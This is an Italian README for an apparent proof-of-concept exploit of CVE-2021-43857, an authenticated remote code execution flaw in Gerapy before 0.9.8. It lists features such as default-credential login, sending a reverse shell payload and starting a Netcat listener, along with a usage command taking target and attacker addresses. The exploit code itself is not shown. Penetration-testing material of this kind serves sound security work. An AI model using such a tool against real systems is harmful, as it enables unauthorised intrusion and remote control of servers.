Gerapy CVE-2021-43857 (RCE autenticata)

Questo repository contiene un proof of concept per CVE-2021-43857,
una vulnerabilità di esecuzione di codice in remoto che affligge Gerapy < 0.9.8.

Questa è una versione aggiornata della PoC originale di Exploit-DB,
con correzioni di bug e automazione per una riproduzione più semplice in ambienti di test autorizzati.

⚠️ Disclaimer:
Questo codice è pubblicato solo per scopi educativi e test di penetrazione autorizzati.
Non utilizzarlo contro sistemi senza autorizzazione esplicita.
L'autore non si assume alcuna responsabilità per un uso improprio.

Caratteristiche

• Automatizza il login con le credenziali predefinite
• Crea automaticamente un progetto (se necessario)
• Invia il payload della reverse shell
• Avvia automaticamente un listener Netcat

Utilizzo

python3 exploit.py -t <TARGET_IP> -p <TARGET_PORT> -L <LOCAL_IP> -P <LOCAL_PORT>

Requisiti

1. Python 3.x
2. requests e pyfiglet (pip install requests pyfiglet)
3. Netcat (nc)